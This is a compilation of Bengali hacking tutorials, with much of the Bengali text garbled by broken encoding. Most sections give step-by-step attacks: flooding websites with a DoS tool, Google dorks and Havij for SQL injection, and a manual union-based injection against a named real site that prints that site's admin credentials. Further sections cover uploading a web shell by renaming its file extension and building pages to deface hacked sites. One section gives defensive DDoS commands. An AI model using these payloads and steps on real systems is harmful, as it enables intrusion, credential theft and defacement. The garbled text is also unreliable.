কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
